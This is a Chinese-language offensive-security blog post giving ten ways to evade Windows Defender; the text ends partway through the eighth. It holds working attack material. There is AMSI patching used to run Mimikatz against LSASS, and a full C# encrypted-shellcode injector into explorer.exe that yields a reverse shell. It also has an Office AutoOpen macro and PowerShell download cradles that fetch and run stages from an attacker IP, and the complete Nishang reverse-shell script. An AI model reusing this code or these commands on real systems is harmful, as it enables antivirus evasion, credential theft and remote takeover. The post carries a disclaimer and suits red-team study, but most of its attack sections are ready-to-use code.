绕过Windows Defender的10种方法|Bypass

绕过Windows Defender的10种方法|Bypass

介绍

在这篇文章中,我将解释 10 种方法/技术来绕过具有最新 Windows Defender intel 的完全更新的 Windows 系统,以执行不受限制的代码(除了权限/访问控制列表)。

测试环境:

用于测试的设置包括以下内容:
①带有 Ubuntu Linux AMI 的 AWS EC2 作为攻击者 C2 服务器。
②带有 Windows Server 2019 AMI 的 AWS EC2 作为受害者机器。
③带有用于恶意软件开发/编译的 Visual Studio 2022 社区版的本地 Windows 10 计算机。
④本地 Kali Linux 攻击机。

请注意,我不会对许多概念进行深入探讨,大部分情况下我会假设具备基础知识。此外,我也没有选择过于复杂的技术,例如直接系统调用或硬件断点,因为这对 AV 来说是过大的杀伤力,无论如何,它们会在他们自己针对 EDR 的文章中得到更好的解释。

免责声明:

本文中提供的信息仅用于教育和道德目的。所描述的技术和工具旨在以合法和负责任的方式使用,并获得目标系统所有者的明确同意,严禁未经授权或恶意使用这些技术和工具,并可能导致法律后果。对于因滥用所提供的信息而可能引起的任何损害或法律问题,我概不负责。

1. 内存中 AMSI/ETW 补丁

我要说明的第一种方法也是我个人使用最多的一种方法,非常方便快捷。

AMSI,或 AntiMalware Scan Interface,是一种与供应商无关的 Windows 安全控件,它扫描 PowerShell、wscript、cscript、Office 宏等,并将遥测数据发送给安全提供商(在我们的案例中为 Defender)以确定它是否是恶意的.

ETW,或 Windows 事件跟踪,是另一种安全机制,用于记录在用户模式和内核驱动程序上发生的事件。供应商然后可以分析来自流程的此信息,以确定它是否具有恶意意图。

遗憾的是,Windows Defender 使用来自 PowerShell 会话的遥测数据非常少。具体来说,为当前进程打补丁 AMSI 将允许我们执行我们决定的任何无文件恶意软件,包括工具(Mimikatz、Rubeus 等)和反向 shell。

对于这个概念验证,我将使用 evil-winrm Bypass-4MSI 内置函数,但在 PowerShell 脚本或可执行文件中制作我们自己的 AMSI/ETW 修补程序非常容易,我们将在后面看到。

因此,从 LSASS 进程使用 Mimikatz 转储内存中登录的杀伤链使用此方法的工作方式如下:

内存中 AMSI 补丁 PoC

绕过Windows Defender的10种方法|Bypass

为了更好地理解,可以通过以下方式在更高层次上解释这组命令:尝试编写著名的“Invoke-Mimikatz”触发器作为测试 Defender 是否处于活动状态的方法。执行 evil-winrm Bypass-4MSI 函数以在当前 PowerShell 会话中修补 AMSI。再次调用 AV 触发器以查看 AMSI 遥测是否有效(如我们所见,它不再有效)。使用 Invoke-Expression 在内存中加载真正的 Invoke-Mimikatz PowerShell 模块。执行 Mimikatz 从 LSASS 转储登录密码。

请注意,Mimikatz 执行仅用于演示目的,但您可以在没有 AMSI 遥测的情况下从 PowerShell 终端执行几乎所有操作。

2.代码混淆

对于 C/C++ 等本机编译语言,通常不需要或不值得花时间进行代码混淆,因为编译器无论如何都会应用大量优化。但是很大一部分恶意软件和工具是用 C# 编写的,有时是用 Java 编写的。这些语言被编译为字节码/MSIL/CIL,可以很容易地进行逆向工程。这意味着您将需要应用一些代码混淆以避免签名检测

有许多可用的开源混淆器,但我将本节的概念证明基于h4wkst3r 的 InvisibilityCloak C# 混淆器工具。

例如,使用 GhostPack 的 Certify 工具,通常用于在域中查找易受攻击的证书,我们可以利用上述工具来绕过 defender,如下所示。

验证 Defender 是否正在运行并阻止默认的 Certify 构建

绕过Windows Defender的10种方法|Bypass

使用 InvisibilityCloak 混淆认证代码

绕过Windows Defender的10种方法|Bypass

尝试运行混淆的 Certify

绕过Windows Defender的10种方法|Bypass

我们可以看到它现在可以正常工作,但是它会抛出错误,因为 VM 未加入域或域控制器。

然后我们可以得出结论,它有效,但是,请注意,某些工具可能需要比其他工具更进一步和更深入的混淆。例如,我在本例中选择了 Certify 而不是 Rubeus,因为它更容易用于简单的演示目的。

3.编译时混淆

对于 C、C++、Rust 等本机编译语言,您可以利用编译时混淆来隐藏子例程和一般指令流的真实行为。

根据语言的不同,可能存在不同的方法。由于我的恶意软件开发首选 C++,因此我将解释我尝试过的两个:LLVM 混淆和模板元编程。

对于LLVM混淆,目前最大的公共工具是Obfuscator-LLVM。该项目是 LLVM 的一个分支,它通过混淆生成的二进制文件来增加一层安全性。当前实现的新增功能如下:指令替换。混淆汇编指令以在更大的计算复杂性下产生等效行为。伪造的控制流。添加垃圾指令块以隐藏原始指令代码流。控制流扁平化。使分支和跳转更难预测,以隐藏有意的指令流。

总之,该工具生成的二进制文件通常更难被人类/AV/EDR 静态分析。

另一方面,模板元编程是一种 C++ 技术,允许开发人员创建在编译时生成源代码的模板。这允许在每次编译时生成不同的二进制文件,创建无限数量的分支和代码块等。

我知道并用于此目的的两个公共框架如下:andrivet 的 ADVobfuscator通过 fritzone 观察

对于这个 PoC,我将使用第二个,因为我发现它通常更容易使用。

此外,对于 PoC,我将使用TheD1rkMtr 的 AMSI_patch作为默认二进制文件进行混淆,因为它是一个非常简单的 C++ 项目。可以在此处找到混淆二进制文件的代码

首先我们来看一下Ghidra下的基础二叉函数树。

默认二叉函数树

绕过Windows Defender的10种方法|Bypass

正如我们所见,分析起来并不难。您可能会在第 3 个 FUN_ 例程下找到 main 函数。

默认二进制主函数

绕过Windows Defender的10种方法|Bypass

这看起来很容易分析和理解它的行为(在这种情况下通过 AMSIOpenSession 修补 AMSI)。

现在让我们看一下混淆后的二叉函数树。

混淆二叉函数树

绕过Windows Defender的10种方法|Bypass

这看起来非常难以静态分析,因为有许多嵌套函数。而且,正如我们所看到的,这些是基于模板引入的功能。

混淆二进制垃圾函数

绕过Windows Defender的10种方法|Bypass

这些都是简单的垃圾函数,但对于隐藏真实行为非常有用。

现在进行最终测试,让我们在 PoC 的真实 Windows 系统上进行测试。请注意,由于二进制补丁 AMSI 通过 PID 作为参数给定进程,因此 PoC 将与第一种方法非常相似;为当前 PowerShell 会话修补 AMSI 以逃避 Defender 的内存扫描。

编译时混淆 PoC

绕过Windows Defender的10种方法|Bypass

而且,正如我们所见,它起作用了,而且 Defender 没有静态地或在运行时停止二进制文件,从而允许我们为进程远程修补 AMSI。

4.二进制混淆/打包

一旦你已经生成了二进制文件,你的选项主要有以下几种:

混淆二进制文件的汇编指令。
打包二进制文件。
加密二进制文件的内容以在运行时对其进行解密。
或者,将其转换为 shellcode 以供以后操作和注入。

从第一个开始,我们有几个可用的开源选项,例如:
恶魔岛元音ropfuscator(遗憾的是目前仅适用于 Linux)

在高层次上,Alcatraz 通过以多种方式修改二进制程序集来工作,例如混淆控制流、添加垃圾指令、取消优化指令以及在运行前隐藏真正的入口点。

另一方面,Metame 的工作原理是使用随机性在每次运行时生成不同的程序集(尽管行为始终相同)。这被称为变质代码,通常被真正的恶意软件使用。

最后,顾名思义,ROPfuscator 的工作原理是利用面向返回的编程从原始代码构建 ROP 小工具和链,从而将原始代码流隐藏在静态分析中,甚至可能是动态的,因为启发式方法更难分析连续的恶意调用. 下图更好地描述了整个过程。

ROPfuscator架构

绕过Windows Defender的10种方法|Bypass

来源:github.com/ropfuscator/ropfuscator/blob/master/docs/architecture.svg

继续二进制打包,打包器的基本架构可以用下图描述。

PE打包器架构

绕过Windows Defender的10种方法|Bypass

资料来源:https ://www.researchgate.net/

在此过程中,给定的打包工具将本机编译的 PE 嵌入到另一个可执行文件中,该可执行文件包含解压缩原始内容并执行它所需的信息。也许最著名的加壳器(甚至不是出于恶意目的)是 Golang 的 UPX 包。

此外,PE Crypter 通过加密可执行文件的内容并生成将在运行时解密原始 PE 的可执行文件来工作。这对 AV 非常有用,因为它们中的大多数依赖于静态分析而不是运行时行为(如 EDR)。因此,在运行时之前完全隐藏可执行文件的内容可能非常有效,除非 AV 已生成针对加密/解密方法的签名,这就是我尝试使用nimpcrypt的情况。

最后,我们还可以选择将原生 PE 转换回 shellcode。
例如,这可以通过hasherezade 的 pe_to_shellcode 工具来完成。

现在已经解释了从可执行文件开始规避 AV 的所有可能方法,我想提一下将所有步骤合并到一个工具中的框架:KlezVirus 的 inceptor。该工具可能会变得非常复杂,简单的 Defender 规避不需要大多数步骤,但下图可能会更好地解释它:

启动器架构

绕过Windows Defender的10种方法|Bypass

来源: github.com/klezVirus/inceptor

与以前的工具相比,Inceptor 允许开发人员创建自定义模板,这些模板将在工作流程的每个步骤修改二进制文件,这样,即使为公共模板生成了签名,您也可以拥有自己的私有模板来绕过 EDR 挂钩、修补 AMSI/ETW、使用硬件断点、使用直接系统调用而不是内存中的 DLL 等。

5.加密Shellcode注入

Shellcode 注入是一种非常著名的技术,它包括在给定的牺牲过程中插入/注入与位置无关的 Shellcode,以最终在内存中执行它。这可以通过多种方式实现。请参阅下图,了解对众所周知的图片的一个很好的总结。

进程注入方法

绕过Windows Defender的10种方法|Bypass

来源:struppigel.blogspot.com/2017/07/process-injection-info-graphic.html

但是,对于本文,我将讨论和演示以下方法:

  1. 使用Process.GetProcessByName定位资源管理器进程并获取其 PID。
  2. 通过具有 0x001F0FFF 访问权限的OpenProcess打开进程。
  3. 通过VirtualAllocEx在 explorer 进程中为我们的 shellcode 分配内存。
  4. 通过WriteProcessMemory在进程中写入shellcode 
  5. 最后,创建一个线程,通过 CreateRemoteThread 执行我们的 Position-Independent Shellcode 

当然,拥有包含恶意 shellcode 的可执行文件将是一个非常糟糕的主意,因为它会立即被 Defender 标记。为了解决这个问题,我们将首先使用 AES-128 CBC 和 PKCS7 填充对 shellcode 进行加密,以隐藏其真实行为和组成,直到运行时(Defender 真的很弱)。

首先,我们需要生成初始 shellcode。
对于这个概念验证,我将使用来自 msfvenom 的简单 TCP 反向 shell。

生成初始 PI shellcode

绕过Windows Defender的10种方法|Bypass

一旦我们有了它,我们将需要一种方法来加密它。为此,我将使用以下 C# 代码,但可以随意以其他方式(例如,cyberchef)对其进行加密。

Encrypter.cs

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace AesEnc
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] buf = new byte[] { 0xfc,0x48,0x83, etc. };
            byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F };
            byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw=="); 
            byte[] aesshell = EncryptShell(buf, Key, IV);
            StringBuilder hex = new StringBuilder(aesshell.Length * 2);
            int totalCount = aesshell.Length;
            foreach (byte b in aesshell)
            {
                if ((b + 1) == totalCount) 
                {
                    hex.AppendFormat("0x{0:x2}", b);
                }
                else
                {
                    hex.AppendFormat("0x{0:x2}, ", b);
                }
            }
            Console.WriteLine(hex);
           
        }

        private static byte[] GetIV(int num)
        {
            var randomBytes = new byte[num]; 
            using (var rngCsp = new RNGCryptoServiceProvider())
            {
                rngCsp.GetBytes(randomBytes);
            }

            return randomBytes;
        }

        private static byte[] GetKey(int size)
        {
            char[] caRandomChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()".ToCharArray();
            byte[] CKey = new byte[size];
            using (RNGCryptoServiceProvider crypto = new RNGCryptoServiceProvider())
            {
                crypto.GetBytes(CKey);
            }
            return CKey;
        }

        private static byte[] EncryptShell(byte[] CShellcode, byte[] key, byte[] iv)
        {
            using (var aes = Aes.Create())
            {
                aes.KeySize = 128;
                aes.BlockSize = 128;
                aes.Padding = PaddingMode.PKCS7;
                aes.Mode = CipherMode.CBC;
                aes.Key = key;
                aes.IV = iv;
                using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))
                {
                    return AESEncryptedShellCode(CShellcode, encryptor);
                }
            }
        }

        private static byte[] AESEncryptedShellCode(byte[] CShellcode, ICryptoTransform cryptoTransform)
        {
            using (var msEncShellCode = new MemoryStream())
            using (var cryptoStream = new CryptoStream(msEncShellCode, cryptoTransform, CryptoStreamMode.Write))
            {
                cryptoStream.Write(CShellcode, 0, CShellcode.Length);
                cryptoStream.FlushFinalBlock();
                return msEncShellCode.ToArray();
            }
        }
    }
}

使用“buf”变量中的初始 shellcode 编译并运行上述代码将吐出我们将在注入程序中使用的现在加密的字节。

对于这个 PoC,我还选择了 C# 作为注入器的语言,但可以随意使用任何其他支持 Win32 API 的语言(C/C++、Rust 等)

最后,将用于注入器的代码如下:

Injector.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.IO;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Security.Cryptography;
using System.Runtime.InteropServices;

namespace AESInject
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int
        processId);
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll")]
        static extern IntPtr GetCurrentProcess();
        
        static void Main(string[] args)
        {
            byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F };
            byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw==");
            byte[] buf = new byte[] { 0x2b, 0xc3, 0xb0, etc}; //your encrypted bytes here
            byte[] DShell = AESDecrypt(buf, Key, IV);
            StringBuilder hexCodes = new StringBuilder(DShell.Length * 2);
            foreach (byte b in DShell)
            {
                hexCodes.AppendFormat("0x{0:x2},", b);
            }
            int size = DShell.Length;
            Process[] expProc = Process.GetProcessesByName("explorer"); //feel free to choose other processes
            int pid = expProc[0].Id;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
            IntPtr outSize;
            WriteProcessMemory(hProcess, addr, DShell, DShell.Length, out outSize);
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

        }

        private static byte[] AESDecrypt(byte[] CEncryptedShell, byte[] key, byte[] iv)
        {
            using (var aes = Aes.Create())
            {
                aes.KeySize = 128;
                aes.BlockSize = 128;
                aes.Padding = PaddingMode.PKCS7;
                aes.Mode = CipherMode.CBC;
                aes.Key = key;
                aes.IV = iv;
                using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
                {
                    return GetDecrypt(CEncryptedShell, decryptor);
                }
            }
        }
        private static byte[] GetDecrypt(byte[] data, ICryptoTransform cryptoTransform)
        {
            using (var ms = new MemoryStream())
            using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
            {
                cryptoStream.Write(data, 0, data.Length);
                cryptoStream.FlushFinalBlock();
                return ms.ToArray();
            }
        }
    }

}

对于本文,我编译了带有依赖项的程序,以便于传输到 EC2,但您可以随意将其编译为大约 50-60 MB 的独立二进制文件。

最后,我们可以在我们的攻击者/C2 机器上使用 netcat 设置一个监听器,并在受害者机器上执行 Injector:

执行注入器

绕过Windows Defender的10种方法|Bypass

获取反向shell

绕过Windows Defender的10种方法|Bypass

6.甜甜圈shellcode加载

TheWover 的 Donut 项目是一个非常有效的 Position-Independent shellcode 生成器,来自 PE/DLL。根据给定的输入文件,它以不同的方式工作。对于这个 PoC,我将使用 Mimikatz,所以让我们看看它是如何在高层次上工作的。简单看一下代码,这就是 Donut.exe 可执行工具的主要例程:

来自 donut.c 的可能的主要 Donut 例程/函数

// 1. validate the loader configuration
    err = validate_loader_cfg(c);
    if(err == DONUT_ERROR_OK) {
      // 2. get information about the file to execute in memory
      err = read_file_info(c);
      if(err == DONUT_ERROR_OK) {
        // 3. validate the module configuration
        err = validate_file_cfg(c);
        if(err == DONUT_ERROR_OK) {
          // 4. build the module
          err = build_module(c);
          if(err == DONUT_ERROR_OK) {
            // 5. build the instance
            err = build_instance(c);
            if(err == DONUT_ERROR_OK) {
              // 6. build the loader
              err = build_loader(c);
              if(err == DONUT_ERROR_OK) {
                // 7. save loader and any additional files to disk
                err = save_loader(c);
              }
            }
          }
        }
      }
    }
    // if there was some error, release resources
    if(err != DONUT_ERROR_OK) {
      DonutDelete(c);
    }

在所有这些中,也许最有趣的是 build_loader,它包含以下代码:build_loader 函数

uint8_t *pl;
    uint32_t t;
    
    // target is x86?
    if(c->arch == DONUT_ARCH_X86) {
      c->pic_len = sizeof(LOADER_EXE_X86) + c->inst_len + 32;
    } else 
    // target is amd64?
    if(c->arch == DONUT_ARCH_X64) {
      c->pic_len = sizeof(LOADER_EXE_X64) + c->inst_len + 32;
    } else 
    // target can be both x86 and amd64?
    if(c->arch == DONUT_ARCH_X84) {
      c->pic_len = sizeof(LOADER_EXE_X86) + 
                   sizeof(LOADER_EXE_X64) + c->inst_len + 32;
    }
    // allocate memory for shellcode
    c->pic = malloc(c->pic_len);
     
    if(c->pic == NULL) {
      DPRINT("Unable to allocate %" PRId32 " bytes of memory for loader.", c->pic_len);
      return DONUT_ERROR_NO_MEMORY;
    }
    
    DPRINT("Inserting opcodes");
    
    // insert shellcode
    pl = (uint8_t*)c->pic;
    
    // call $ + c->inst_len
    PUT_BYTE(pl,  0xE8);
    PUT_WORD(pl,  c->inst_len);
    PUT_BYTES(pl, c->inst, c->inst_len);
    // pop ecx
    PUT_BYTE(pl,  0x59);
    
    // x86?
    if(c->arch == DONUT_ARCH_X86) {
      // pop edx
      PUT_BYTE(pl, 0x5A);
      // push ecx
      PUT_BYTE(pl, 0x51);
      // push edx
      PUT_BYTE(pl, 0x52);
      
      DPRINT("Copying %" PRIi32 " bytes of x86 shellcode", 
        (uint32_t)sizeof(LOADER_EXE_X86));
        
      PUT_BYTES(pl, LOADER_EXE_X86, sizeof(LOADER_EXE_X86));
    } else 
    // AMD64?
    if(c->arch == DONUT_ARCH_X64) {
      
      DPRINT("Copying %" PRIi32 " bytes of amd64 shellcode", 
        (uint32_t)sizeof(LOADER_EXE_X64));

      // ensure stack is 16-byte aligned for x64 for Microsoft x64 calling convention
      
      // and rsp, -0x10
      PUT_BYTE(pl, 0x48);
      PUT_BYTE(pl, 0x83);
      PUT_BYTE(pl, 0xE4);
      PUT_BYTE(pl, 0xF0);
      // push rcx
      // this is just for alignment, any 8 bytes would do
      PUT_BYTE(pl, 0x51);

      PUT_BYTES(pl, LOADER_EXE_X64, sizeof(LOADER_EXE_X64));
    } else 
    // x86 + AMD64?
    if(c->arch == DONUT_ARCH_X84) {
      
      DPRINT("Copying %" PRIi32 " bytes of x86 + amd64 shellcode",
        (uint32_t)(sizeof(LOADER_EXE_X86) + sizeof(LOADER_EXE_X64)));
        
      // xor eax, eax
      PUT_BYTE(pl, 0x31);
      PUT_BYTE(pl, 0xC0);
      // dec eax
      PUT_BYTE(pl, 0x48);
      // js dword x86_code
      PUT_BYTE(pl, 0x0F);
      PUT_BYTE(pl, 0x88);
      PUT_WORD(pl,  sizeof(LOADER_EXE_X64) + 5);
      
      // ensure stack is 16-byte aligned for x64 for Microsoft x64 calling convention
      
      // and rsp, -0x10
      PUT_BYTE(pl, 0x48);
      PUT_BYTE(pl, 0x83);
      PUT_BYTE(pl, 0xE4);
      PUT_BYTE(pl, 0xF0);
      // push rcx
      // this is just for alignment, any 8 bytes would do
      PUT_BYTE(pl, 0x51);

      PUT_BYTES(pl, LOADER_EXE_X64, sizeof(LOADER_EXE_X64));
      // pop edx
      PUT_BYTE(pl, 0x5A);
      // push ecx
      PUT_BYTE(pl, 0x51);
      // push edx
      PUT_BYTE(pl, 0x52);
      PUT_BYTES(pl, LOADER_EXE_X86, sizeof(LOADER_EXE_X86));
    }
    return DONUT_ERROR_OK;

同样,从简短的分析来看,该子例程基于原始可执行文件创建/准备位置无关的 shellcode 以供以后注入,插入汇编指令以根据每个体系结构对齐堆栈,并使代码流跳转到可执行文件的原始 shellcode。请注意,这可能不是最新的代码,因为该文件的最后一次提交是在 2022 年 12 月,最新版本是在 2023 年 3 月。但它很好地说明了它的工作原理。

最后,进入本节的概念证明,我将通过将 shellcode 注入本地 powershell 进程来执行直接从 gentilkiwi 存储库获取的默认 Mimikatz。为此,我们需要先生成 PI 代码。

执行注入器

绕过Windows Defender的10种方法|Bypass

生成 shellcode 后,我们现在可以为此目的使用我们喜欢的任何注入器。幸运的是,最新版本已经带有一个本地(用于执行它的进程)和一个远程(用于另一个进程)注入器,Microsoft 尚未为其生成签名,因此我将使用它.

执行注入器

绕过Windows Defender的10种方法|Bypass

7.定制工具

Mimikatz、Rubeus、Certify、PowerView、BloodHound 等工具之所以受欢迎是有原因的:它们在单个包中实现了很多功能。这对恶意行为者非常有用,因为他们可以仅使用一些工具自动传播恶意软件。然而,这也意味着供应商很容易通过注册其签名字节(例如,菜单字符串、C# 中的类/命名空间名称等)来关闭整个工具。

为了解决这个问题,也许我们不需要整个 2-5MB 的充满注册签名的工具来执行我们需要的一两个功能。例如,要转储登录密码/哈希值,我们可以利用带有 sekurlsa::logonpasswords 函数的整个 Mimikatz 项目,但我们也可以以完全不同的方式编写我们自己的 LSASS 转储器和解析器,但具有相似的行为和 API 调用。

对于第一个示例,我将使用Cracked5pider 的 LsaParser

LsaParser 执行

绕过Windows Defender的10种方法|Bypass

不幸的是,它不是为 Windows Server 开发的,所以我不得不在本地 Windows 10 上使用它,但你明白了。

对于第二个示例,假设我们的目标是枚举整个 Active Directory 域中的共享。为此,我们可以使用 PowerView 的 Find-DomainShare,但是,它是最著名的开源工具之一,因此,为了更加隐蔽,我们可以基于本机 Windows API 开发自己的共享查找器工具,如下所示。

RemoteShareEnum.cpp

#include <windows.h>
#include <stdio.h>
#include <lm.h>

#pragma comment(lib, "Netapi32.lib")

int wmain(DWORD argc, WCHAR* lpszArgv[])
{

    PSHARE_INFO_502 BufPtr, p;
    PSHARE_INFO_1 BufPtr2, p2;
    NET_API_STATUS res;
    LPTSTR   lpszServer = NULL;
    DWORD er = 0, tr = 0, resume = 0, i,denied=0;
    switch (argc)
    {
    case 1:
        wprintf(L"Usage : RemoteShareEnum.exe <servername1> <servername2> <servernameX>\n");
        return 1;

    default:
        break;
    }
    wprintf(L"\n Share\tPath\tDescription\tCurrent Users\tHost\n\n");
    wprintf(L"-------------------------------------------------------------------------------------\n\n");
    for (DWORD iter = 1; iter <= argc-1; iter++) {
        lpszServer = lpszArgv[iter];
        do
        {
            res = NetShareEnum(lpszServer, 502, (LPBYTE*)&BufPtr, -1, &er, &tr, &resume);
            if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
            {
                p = BufPtr;
                for (i = 1; i <= er; i++)
                {
                    wprintf(L" % s\t % s\t % s\t % u\t % s\t\n", p->shi502_netname, p->shi502_path, p->shi502_remark, p->shi502_current_uses, lpszServer);
                    p++;
                }
                NetApiBufferFree(BufPtr);
            }
            else if (res == ERROR_ACCESS_DENIED) {
                denied = 1;
            }
            else
            {
                wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ld\n",lpszServer, res);
            }
        }
        while (res == ERROR_MORE_DATA);
        if (denied == 1) {
            do
            {
                res = NetShareEnum(lpszServer, 1, (LPBYTE*)&BufPtr2, -1, &er, &tr, &resume);
                if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
                {
                    p2 = BufPtr2;
                    for (i = 1; i <= er; i++)
                    {
                        wprintf(L" % s\t % s\t % s\t\n", p2->shi1_netname, p2->shi1_remark,  lpszServer);
                        p2++;
                    }

                    NetApiBufferFree(BufPtr2);
                }
                else
                {
                    wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ld\n", lpszServer, res);
                }

            }
            while (res == ERROR_MORE_DATA);
            denied = 0;
        }

        wprintf(L"-------------------------------------------------------------------------------------\n\n");
    }
    return 0;

}

该工具在较高级别上利用 Win32 API 中的 NetShareEnum 函数远程检索从任何输入端点提供的共享。默认情况下,它会尝试特权 SHARE_INFO_502 访问级别,显示一些额外信息,如磁盘路径、连接数等。如果失败,它会回退到访问级别 SHARE_INFO_1,它仅显示资源名称但可以枚举任何非特权用户(除非特定的 ACL 阻止它)。

请随意使用此处提供的工具。

现在,我们可以像下面这样使用它:

RemoteShareEnum 执行

绕过Windows Defender的10种方法|Bypass

当然,自定义工具可能是一项非常耗时的任务,并且需要非常深入的 Windows 内部知识,但它有可能击败本文中介绍的所有其他方法。因此,如果其他一切都失败了,应该考虑到这一点。也就是说,我仍然认为它对 Defender/AV 来说太过分了,它更适合 EDR 规避,因为您可以控制并包括您自己选择的 API 调用、断点、顺序、垃圾数据/指令、混淆等。

8.有效载荷分级

将有效载荷分成渐进阶段无论如何都不是新技术,威胁参与者通常使用它来传播逃避初始静态分析的恶意软件。这是因为真正的恶意负载将在稍后阶段被检索和执行,静态分析可能没有机会发挥作用。

对于此 PoC,我将展示一种非常简单但有效的方法来暂存反向 shell 负载,例如,可用于使用以下宏创建恶意 Office 文件:

执行第一阶段的宏

Sub AutoOpen()
Set shell_object = CreateObject("WScript.Shell")
shell_object.Exec ("powershell -c IEX(New-Object Net.WebClient).downloadString('http://IP:PORT/stage1.ps1')")
End Sub

当然,这不会被 AV 静态检测到,因为它只是在执行一个看似良性的命令。

由于我没有安装 Office,我将通过在 PowerShell 脚本中手动执行上述命令来模拟网络钓鱼过程。

最后,本节的概念证明如下:

stage0.txt(这将是在网络钓鱼宏中执行的命令)

IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage1.txt")

stage1.txt

IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/ref.txt")
IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage2.txt")

stage2.txt

function Invoke-PowerShellTcp 
{ 
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. 

.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch. 
Also, a standard netcat can connect to this script Bind to a specific port.

The script is derived from Powerfun written by Ben Turner & Dave Hardy

.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.

.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on 
the given IP and port. 

.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444

Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. 

.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444

Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port. 

.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>      
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )

    
    try 
    {
        #Connect back if the reverse switch is used.
        if ($Reverse)
        {
            $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
        }

        #Bind to the provided port if Bind switch is used.
        if ($Bind)
        {
            $listener = [System.Net.Sockets.TcpListener]$Port
            $listener.start()    
            $client = $listener.AcceptTcpClient()
        } 

        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535|%{0}

        #Send back current username and computername
        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)

        #Show an interactive PowerShell prompt
        $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
        $stream.Write($sendbytes,0,$sendbytes.Length)

        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
        {
            $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
            $data = $EncodedText.GetString($bytes,0, $i)
            try
            {
                #Execute the command on the target.
                $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
            }
            catch
            {
                Write-Warning "Something went wrong with execution of command on the target." 
                Write-Error $_
            }
            $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
            $x = ($error[0] | Out-String)
            $error.clear()
            $sendback2 = $sendback2 + $x

            #Return the results
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte,0,$sendbyte.Length)
            $stream.Flush()  
        }
        $client.Close()
        if ($listener)
        {
            $listener.Stop()
        }
    }
    catch
    {
        Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." 
        Write-Error $_
    }
}

Invoke-PowerShellTcp -Reverse -IPAddress 172.31.17.142 -Port 80

这里有几件事要注意。

